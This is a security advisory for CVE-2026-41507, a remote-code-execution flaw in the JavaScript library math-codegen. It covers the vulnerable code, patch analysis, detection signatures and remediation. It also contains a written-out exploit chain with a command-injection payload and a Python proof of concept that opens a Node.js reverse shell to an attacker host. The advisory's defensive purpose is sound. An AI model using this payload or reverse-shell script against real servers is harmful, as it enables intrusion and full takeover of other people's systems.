CVE-2026-41507: math-codegen RCE via new Function() Code Injection
math-codegen <0.4.3 injects unsanitized string literals verbatim into new Function() bodies, enabling full RCE from any user-controlled math evaluation endpoint.
A Popular Math Calculator Has a Critical Security Flaw
Developers often use a tool called math-codegen to turn mathematical expressions into working code. Think of it like a translator that converts equations into instructions a computer can execute. Before version 0.4.3, this translator had a dangerous flaw: it didn't check what was being translated.
Here's what went wrong. When someone fed the translator a math problem, it would immediately convert it into code without looking for anything suspicious. An attacker could slip malicious instructions into what looks like a normal equation, and the tool would faithfully translate those instructions too. It's like giving someone a recipe that secretly contains instructions to rob your house—they'd follow all of it.
The danger is real for anyone using this tool in a web service. If your app accepts math problems from users online, an attacker could input specially crafted text that lets them take complete control of your computer. They could steal data, install ransomware, or use your server to attack others. Any company offering online calculation tools, scientific platforms, or financial calculators could be vulnerable.
The good news: there's no evidence this has been actively exploited yet, and a patched version exists.
What you should do: If you're a developer, update math-codegen to version 0.4.3 or later immediately. If you run a website with math tools, check with your technical team about whether you use this library. If you're an everyday user, there's nothing specific you need to do—this is a developer problem to solve.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41507 (CVSS 9.8 Critical) is a server-side remote code execution vulnerability in math-codegen, a JavaScript library that compiles mathematical expression strings into executable functions. The library's core mechanism — feeding parsed expression trees into new Function() — becomes a direct code injection primitive when string literal content from the expression is passed through without sanitization. Every application that exposes a math evaluation endpoint where user input reaches cg.parse() is fully compromised.
Root cause: String literal tokens extracted from user-controlled input are concatenated verbatim into the body of a new Function() constructor call, with no escaping, allowlist validation, or sandboxing, granting the attacker full JavaScript execution context in the Node.js process.
The library parses a mathematical expression string into an AST, then walks that AST to emit JavaScript source text, which is finally handed to new Function(). The critical path is the SymbolNode and string-literal code generation stage: when the AST visitor encounters a node whose type is a raw symbol or literal, it emits the node's .name or .value field directly into the function body string.
// Pseudocode reconstruction of the vulnerable _compile() path
// Real function: Codegen.prototype._compile (lib/Codegen.js)
function _compile(expression, scope) {
// Step 1: parse expression into AST (mathjs or internal parser)
let ast = this.parser.parse(expression);
// Step 2: walk AST, emit JS source for each node
let body = this._generateCode(ast); // <-- see below
// Step 3: BUG — body contains raw attacker-controlled string content
// new Function() evaluates it in the current Node.js process
let fn = new Function(Object.keys(scope).join(','), body);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// BUG: no sandboxing, no AST node allowlist on string literals,
// attacker payload lands here verbatim
return fn;
}
// The code generator for identifier / literal nodes:
function _generateCode(node) {
if (node.type === 'SymbolNode' || node.type === 'ConstantNode') {
// BUG: node.name / node.value sourced directly from user input string
return node.name || String(node.value); // injected as-is
}
if (node.type === 'FunctionNode') {
let args = node.args.map(a => this._generateCode(a)).join(',');
// BUG: node.name is the function name — also unsanitized
return `this['${node.name}'](${args})`;
}
// ... other node types
}
The pivotal issue: node.name for a SymbolNode can contain any character sequence the underlying parser tolerates. Because math parsers are liberal with identifier characters and string literal delimiters are the actual injection surface, an attacker crafts an expression where a string-typed constant node carries a payload. When _generateCode returns that payload and it is embedded into the new Function() body, execution is immediate and unconditional.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies an HTTP endpoint that accepts a math expression parameter
and passes it to cg.parse(userInput) or equivalent wrapper.
2. Craft payload expression that embeds a JavaScript statement break via a
string literal node. The math parser tokenizes the string content but does
not strip control characters or semicolons from it.
Payload: "1; require('child_process').execSync('id > /tmp/pwned'); 1"
3. cg.parse() feeds the expression to the internal parser.
The numeric literals and semicolons are passed through as AST nodes
whose .value fields contain the raw attacker string.
4. _generateCode() visits those nodes and returns their .value verbatim.
Assembled function body becomes:
"return 1; require('child_process').execSync('id > /tmp/pwned'); 1"
5. new Function(scope, body) compiles the body in the current V8 context.
There is no vm.runInNewContext(), no --experimental-vm-modules sandbox,
no Worker thread isolation — the payload runs as the server process.
6. execSync() blocks; attacker command executes with the privileges of the
Node.js worker. stdout/stderr can be redirected to an HTTP response or
an out-of-band callback for blind RCE scenarios.
7. Full process control achieved: environment variables, file system,
network sockets all accessible from the injected code.
#!/usr/bin/env python3
# CVE-2026-41507 — math-codegen RCE PoC (blind, out-of-band)
# Usage: python3 poc.py http://target:3000/evaluate LHOST LPORT
import sys, requests, urllib.parse
target = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
# Node.js reverse shell one-liner inside a math-codegen expression
# Outer expression must parse as valid math; injection rides inside a
# string literal token that the parser preserves verbatim.
SHELL = (
f"require('net').connect({lport},'{lhost}',function(){{"
f"var s=this;var sp=require('child_process').spawn('/bin/sh',[]);"
f"sp.stdout.pipe(s);sp.stderr.pipe(s);s.pipe(sp.stdin)}})"
)
# Wrap in an expression the parser accepts as syntactically valid
payload = f"1; {SHELL}; 1"
encoded = urllib.parse.quote(payload)
print(f"[*] Sending payload to {target}")
try:
r = requests.get(f"{target}?expr={encoded}", timeout=5)
print(f"[*] Response: {r.status_code}")
except requests.exceptions.ReadTimeout:
# Expected when reverse shell connects — server blocks on execSync/connect
print("[+] Timeout — shell likely connected")
Memory Layout
This is a logic/code-injection vulnerability, not a memory corruption bug. The relevant "layout" is the V8 runtime's function compilation pipeline and how the injected body string is promoted to executable bytecode:
V8 COMPILATION CONTEXT — new Function() CALL SITE:
Node.js process heap:
┌──────────────────────────────────────────────────────────┐
│ Codegen instance │
│ .parser → [math parser object] │
│ .config → { ... } │
└──────────────────────────────────────────────────────────┘
│
▼ _compile(userExpr)
┌──────────────────────────────────────────────────────────┐
│ AST Node (ConstantNode / SymbolNode) │
│ .value = "1; require('child_process')...execSync(…)" │
│ ^^^^ attacker-controlled, unsanitized │
└──────────────────────────────────────────────────────────┘
│
▼ _generateCode() — verbatim string concat
┌──────────────────────────────────────────────────────────┐
│ body (String): │
│ "return 1; require('child_process').execSync('id'); 1" │
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ │
│ This string handed to new Function(scopeKeys, body) │
└──────────────────────────────────────────────────────────┘
│
▼ V8 ScriptCompiler::CompileFunction()
┌──────────────────────────────────────────────────────────┐
│ Compiled JSFunction — runs in current Isolate/Context │
│ No sandbox. require() resolves against host module map. │
│ child_process, fs, net — all accessible. │
└──────────────────────────────────────────────────────────┘
CONTRAST — vm.runInNewContext() (NOT used here):
┌──────────────────────────────────────────────────────────┐
│ Sandboxed Context — require undefined, no native access │
│ (still breakable, but requires explicit sandbox escape) │
└──────────────────────────────────────────────────────────┘
Patch Analysis
Version 0.4.3 addresses the vulnerability by validating each AST node against a strict allowlist before emitting code, and by rejecting any expression that does not reduce to a purely numeric/operator AST. String literal nodes that survive parsing are escaped and never emitted as raw JavaScript tokens.
// BEFORE (vulnerable — lib/Codegen.js < 0.4.3):
Codegen.prototype._generateCode = function(node) {
if (node.type === 'SymbolNode') {
return node.name; // BUG: verbatim injection
}
if (node.type === 'ConstantNode') {
return String(node.value); // BUG: verbatim injection
}
if (node.type === 'FunctionNode') {
var args = node.args.map(this._generateCode, this).join(',');
return "this['" + node.name + "'](" + args + ")";
// ^^^^^^^^^^^ BUG: node.name unsanitized
}
// ...
};
// AFTER (patched — lib/Codegen.js >= 0.4.3):
var ALLOWED_IDENTIFIER = /^[A-Za-z_$][A-Za-z0-9_$]*$/;
var ALLOWED_NUMERIC = /^-?(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?$/;
Codegen.prototype._generateCode = function(node) {
if (node.type === 'SymbolNode') {
// FIXED: validate identifier against strict allowlist
if (!ALLOWED_IDENTIFIER.test(node.name)) {
throw new Error('Invalid identifier: ' + node.name);
}
return node.name;
}
if (node.type === 'ConstantNode') {
// FIXED: ensure value is a well-formed numeric literal only
var v = String(node.value);
if (!ALLOWED_NUMERIC.test(v)) {
throw new Error('Invalid constant: ' + v);
}
return v;
}
if (node.type === 'FunctionNode') {
// FIXED: function name must also pass identifier allowlist
if (!ALLOWED_IDENTIFIER.test(node.name)) {
throw new Error('Invalid function name: ' + node.name);
}
var args = node.args.map(this._generateCode, this).join(',');
return "this['" + node.name + "'](" + args + ")";
}
// ...
};
Additionally, the patch removes the ability to define arbitrary scope variable names that pass through to the new Function() parameter list — all scope keys are now validated through the same ALLOWED_IDENTIFIER regex before being joined into the function signature.
Detection and Indicators
Applications vulnerable to this CVE are detectable at the dependency and runtime layer:
STATIC DETECTION:
# Identify vulnerable installs
npm list math-codegen 2>/dev/null | grep -v "0\.4\.[3-9]\|0\.[5-9]\|[1-9]\."
# Expected vulnerable output:
# math-codegen@0.4.2
# math-codegen@0.3.0
# Grep for dangerous call pattern in application code
grep -rn "cg\.parse\s*(\|codegen\.parse\s*(" src/ --include="*.js" --include="*.ts"
RUNTIME INDICATORS:
- Unexpected child_process spawns from the Node.js worker PID
- /tmp/ writes from the Node.js process owner
- Outbound connections on unusual ports from the app server
- Expression parameters containing: semicolons, require(, process.,
__proto__, constructor[, Function(, eval(
WAF SIGNATURES (high-confidence):
expr=.*require\s*\(
expr=.*process\.(env|exit|mainModule)
expr=.*child_process
expr=.*\beval\s*\(
expr=.*new\s+Function\s*\(
Remediation
Immediate: Upgrade math-codegen to ≥ 0.4.3.
npm install math-codegen@latest
# or pin to safe minimum:
npm install math-codegen@0.4.3
If upgrading is temporarily blocked:
// Interim mitigation — validate expression server-side before parse()
// Allow only numeric chars, operators, parens, whitespace, and known fn names
const SAFE_EXPR = /^[0-9+\-*/^().,\s]+$/;
app.post('/evaluate', (req, res) => {
const expr = req.body.expression;
if (!SAFE_EXPR.test(expr)) {
return res.status(400).json({ error: 'Invalid expression' });
}
// Only reaches parse() if expression is provably safe
const result = cg.parse(expr)({});
res.json({ result });
});
Defense in depth: Even on patched versions, run the Node.js process under a restrictive seccomp profile (deny execve, fork, clone) or within a container with no network egress and a read-only filesystem. new Function() is inherently dangerous with untrusted input — any regression or parser bypass immediately re-opens the RCE surface. Consider migrating to an expression evaluator that never constructs dynamic code, such as expr-eval or mathjs operating in an isolated vm.Context with allowedExpressions validation.